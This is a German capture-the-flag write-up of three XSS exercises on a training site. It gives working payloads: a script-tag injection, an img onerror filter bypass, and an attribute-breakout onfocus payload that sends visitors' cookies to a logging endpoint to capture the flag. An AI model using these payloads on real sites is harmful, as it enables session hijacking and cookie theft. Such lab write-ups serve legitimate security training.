XSS

XSS100

In dieser Aufgabe müssen Sie die Anfälligkeit https://tasks.7e1.info/xss100/ gegenüber XSS ausnutzen. Sie müssen eine URL zusammenstellen, die auf diese Webseite führt, jedoch ihren Inhalt so verändert, dass das body-Element nichts anderes, als den String The Matrix has you... enthält. Mit anderen Worten, der JavaScript-Ausdruck: document.body.innerHTML == 'The Matrix has you...' muss True liefern.

1. Anfälligkeit gegenüber XSS testen:
    - https://tasks.7e1.info/xss100/?search=<script>alert('XSS ')</script>
2. Inhalt von <body> manipulieren:
    - https://tasks.7e1.info/xss100/?search=<script>document.body.innerHTML = 'The Matrix has you...'%3Bwindow.stop()%3B</script> (window.stop(); -> kein Footer)
    - Konsole: document.body.innerHTML == 'The Matrix has you...' true

XSS150

Der Administrator der vorigen Seite hat versucht, bei der Sicherheit gegenüber XSS-Angriffen nachzubessern. Die Tags `<script></script>` werden nun gefiltert. Die neue Version der Webseite befindet sich hier: https://tasks.7e1.info/xss150/. Sie müssen eine URL zusammenstellen, die auf diese Webseite führt, jedoch den Titel (`<title></title>`) auf `All your base are belong to us.` verändert.

1. Anfälligkeit gegenüber XSS ohne script-Tags testen:
    - https://tasks.7e1.info/xss150/?search=<IMG+SRC="x"+onerror="alert('XSS')">
2. Inhalt von <title> manipulieren:
    - https://tasks.7e1.info/xss150/?search=<IMG+SRC="x"+onerror="document.title='All your base are belong to us.'">

XSS200

Der Administrator der vorigen Webseite hat ein neues Sicherheitsupdate durchgeführt. Nun werden die Zeichen < und > generell gefiltert. Die neue Version der Webseite befindet sich hier: https://tasks.7e1.info/xss200/. Ihre Aufgabe besteht darin, eine URL zusammenzustellen, die auf diese Webseite führt und dabei die Cookies des jeweiligen Besuchers an Sie weiterleitet.

1. Suchleiste untersuchen:
    - <input class="form-control" value="" placeholder="Search" name="search" id="search" autofocus="" type="text">
2. Suchleiste manipulieren:
    - Search -> Schließendes Zeichen + onfocus + Javacode
    - https://tasks.7e1.info/xss200/?search="+onfocus="var+url+=+'https%3A%2F%2Ftasks.7e1.info%2Fweblogger%2FIlN0aWZmbWFzdGVyaW5vIg%3A1dKWVR%3A8E3294wcKoKCkyW4nPPf8JOduaA%2F%3Fkey%3Dmerockz%26value%3D%27+%2B+encodeURIComponent(document.cookie)%3B+var+img=document.createElement('img')%3B+img.setAttribute('src', url)%3B
    - Flag: the_flag_is_a_lie